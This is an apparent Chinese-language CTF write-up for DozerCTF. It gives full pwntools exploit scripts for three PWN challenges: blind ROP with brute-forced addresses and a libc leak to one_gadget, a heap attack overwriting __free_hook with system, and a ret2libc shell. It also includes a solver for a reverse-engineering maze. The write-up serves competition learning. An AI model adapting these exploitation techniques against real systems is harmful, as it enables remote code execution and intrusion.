DozerCTF

摸摸鱼,补了半个月的作业,打打CTF放松下,下载附件

PWN

虚假的pwn题

1.主要就是有个异或6,过滤了"\x06"和"\x00"  
2.然后测到偏移为0x58,之后爆破出start或者main函数地址为0x400796  
3.再利用函数中的应该是write函数打印libc,因为libc我也不知道是哪一个,所以就最后12bit为0,然后n*0x1000一直减到libc,测到第二个libc地址的偏移为0x6F738
  最后用one_gadget打通了
1
from pwn import*
2
context.log_level ='DEBUG'
3
def m(payload):
4
	retval = ""
5
	for i in payload:
6
		if i == '\x06':
7
			retval += chr((ord(i) + 1)^6)
8
		elif i == '\x00':
9
			retval += i
10
		else:
11
			retval += chr(ord(i)^6)
12
	return retval
13
def leak_main(length,address):
14
	for i in range(255):
15
		p =remote('118.31.11.216',30009)
16
		try:
17
			p.recvuntil('[*] ---------------- Dozer Shell ----------------\n')
18
			log.info('ADDRESS\t' + hex(address))
19
			p.sendline('U'*length + m(p64(address)))
20
			output = p.recvline()
21
			log.info('OUT:\t' + output)
22
			p.interactive()
23
		except:
24
			p.close()
25
			address = address + 1
26
			continue
27
28
'''
29
# get the stopgadget
30
for i in range(10):
31
	tmp = 0x400101
32
	for n in range(10):
33
		leak_main(length,tmp)
34
		tmp += 0x100
35
	length += 1
36
37
'''
38
39
length = 0x58
40
main = 0x400796
41
puts = 0x4007DB
42
libc =ELF('./libc-2.23.so')
43
for i in range(0x200):
44
	p =remote('118.31.11.216',30009)
45
	try:
46
		p.recvuntil('[*] ---------------- Dozer Shell ----------------\n')
47
		p.sendline('U'*length + m(p64(puts)))
48
		p.recv(0x38)
49
		libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x738 -  0x6F*0x1000 #i*0x1000
50
		log.info('LIBC:\t' + hex(libc_base))
51
		'''
52
		p.sendline('U'*length +  m(p64(main)))
53
		p.recvuntil('[*] ---------------- Dozer Shell ----------------\n')
54
		'''
55
		p.sendline('U'*length + m(p64(libc_base + 0xF1147)))
56
		log.info('INDEX:\t' + hex(i))
57
		p.sendline('cat flag')
58
		p.recvuntil('ctf')
59
		output = p.recvuntil('}')
60
		log.info("FLAG:\t" + 'ctf' + output)
61
		break
62
	except:
63
		p.close()
64
		continue
65
p.interactive()

酸菜鱼

手动替换下libc,然后unsorted bin attack攻击global_max_fast,实现任意写不确定值,再利用stdout打印出libc地址,之后利用fastbin attack的一个方法,将free_hook改成system

1
from LD import*
2
from pwn import*
3
context.log_level ='DEBUG'
4
def new(size):
5
	p.sendline('1')
6
	sleep(0.01)
7
	p.sendline(str(size))
8
	sleep(0.01)
9
def edit(offset,size,content):
10
	p.sendline('2')
11
	sleep(0.01)
12
	p.sendline(str(offset))
13
	sleep(0.01)
14
	p.sendline(str(size))
15
	sleep(0.01)
16
	p.send(content)
17
	sleep(0.01)
18
def free(offset):
19
	p.sendline('3')
20
	sleep(0.01)
21
	p.sendline(str(offset))
22
	sleep(0.01)
23
elf =ELF('./main')
24
libc = ELF('./libc-2.25.so',checksec=False)
25
p = process('./main')
26
27
#p = process(['./main'],env={"LD_PRELOAD":"./libc-2.25.so"})
28
p = remote('118.31.11.216',30078)
29
edit(0x20,0xC0,p64(0) + p64(0x91) + '\x00'*0x80 + p64(0) + p64(0x21) + '\x00'*0x10 + p64(0) + p64(0x21))
30
31
free(0x30)
32
edit(0x38,2,'\xC0\xA7')
33
new(0x80)
34
edit(0x38,8,p64(0))
35
36
#modify the read_end
37
edit(0,0x10,p64(0) + p64(0x1630))
38
edit(0x1630,0x10,p64(0) + p64(0x21))
39
free(0x10)
40
41
#modify the write_base
42
edit(0,0x10,p64(0) + p64(0x1650))
43
edit(0x1650,0x10,p64(0) + p64(0x21))
44
free(0x10)
45
46
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_']
47
log.info('LIBC:\t' + hex(libc_base))
48
49
free_hook = libc_base + libc.sym['__free_hook']
50
rce = libc_base + libc.sym['system']
51
52
53
edit(0,0x10,p64(0) + p64(0x3920))
54
edit(0x3920,0x10,p64(0) + p64(0x21))
55
free(0x10)
56
edit(0x10,8,p64(rce))
57
new(0x3910)
58
edit(0x10,8,"/bin/sh\x00")
59
free(0x10)
60
p.interactive()

ret2 temp

简单ROP

1
from pwn import*
2
from LibcSearcher import*
3
p = process('./main')
4
elf = ELF('./main')
5
p = remote('118.31.11.216',36666)
6
7
payload = 'U'*0x70 + p32(elf.plt['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
8
p.sendline(payload)
9
write = u32(p.recvuntil('\xF7')[-4:])
10
log.info('LIBC:\t' + hex(write))
11
libc = LibcSearcher('write',write)
12
libc_base = write - libc.dump('write')
13
system = libc_base + libc.dump('system')
14
binsh = libc_base + libc.dump("str_bin_sh")
15
p.sendline("U"*0x70 + p32(system) + p32(0) + p32(binsh))
16
p.interactive()

RE

easy_maze

脱掉upx,去掉花指令,然后F5反编译,找到迷宫的数组,因为每走一步,方向标都会发生改变,写个脚本处理一下

1
import os
2
import sys
3
from pwn import*
4
maze_str = [0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, 
5
			0x41, 0x42, 0x42, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x00, 
6
			0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x00, 0x00, 0x42, 0x42, 0x41, 0x41, 0x00, 
7
			0x41, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, 
8
			0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00,
9
			0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x42, 0x42, 0x41, 0x00, 0x00, 0x00, 
10
			0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x00, 0x42, 0x42, 0x00, 
11
			0x42, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 
12
			0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, 
13
			0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, 
14
			0x42, 0x42, 0x42, 0x42, 0x42, 0x41, 0x42, 0x41, 0x42, 0x42, 0x41, 0x42, 0x00, 
15
			0x42, 0x42, 0x42, 0x00, 0x00, 0x41, 0x41, 0x41, 0x42, 0x42, 0x41, 0x45, 0x00]
16
p = q = 0
17
FLAG = ""
18
direction = ['W','A','S','D']
19
for n in range(144):
20
	if p <11 and maze_str[13*(p+1) + q]!= 1 and (maze_str[13*(p+1) + q]==0x41 or maze_str[13*(p+1) + q]==0x45):
21
		FLAG += direction[2]
22
		TMP = direction[2]
23
		direction[2] = direction[0]
24
		direction[0] = TMP
25
		TMP = direction[1]
26
		direction[1] = direction[3]
27
		direction[3] = TMP
28
		p += 1
29
		maze_str[13*p + q] = 1
30
		continue
31
	if p >0 and maze_str[13*(p-1) + q] != 1 and (maze_str[13*(p-1) + q]==0x41 or maze_str[13*(p-1) + q]==0x45):
32
		FLAG += direction[0]
33
		TMP = direction[2]
34
		direction[2] = direction[0]
35
		direction[0] = TMP
36
		p -= 1
37
		maze_str[13*p + q] = 1
38
		continue
39
	if q <11 and maze_str[13*p + q + 1]!=1 and (maze_str[13*p + q + 1]==0x41 or maze_str[13*p + q + 1]==0x45):
40
		FLAG += direction[3]
41
		TMP = direction[3]
42
		direction[3] = direction[2]
43
		direction[2] = direction[1]
44
		direction[1] = direction[0]
45
		direction[0] = TMP
46
		q += 1
47
		maze_str[13*p + q] = 1
48
		continue
49
	if q >0 and maze_str[13*p + q - 1] != 1 and (maze_str[13*p + q - 1]==0x41 or maze_str[13*p + q - 1]==0x45):
50
		FLAG += direction[1]
51
		TMP = direction[0]
52
		direction[0] = direction[1]
53
		direction[1] = direction[2]
54
		direction[2] = direction[3]
55
		direction[3] = TMP
56
		q -= 1
57
		maze_str[13*p + q] = 1
58
		continue
59
log.success("DozerCTF{" + FLAG + "}")
Contents
  1. 1. PWN
    1. 1.1. 虚假的pwn题
    2. 1.2. 酸菜鱼
    3. 1.3. ret2 temp
  2. 2. RE
    1. 2.1. easy_maze
|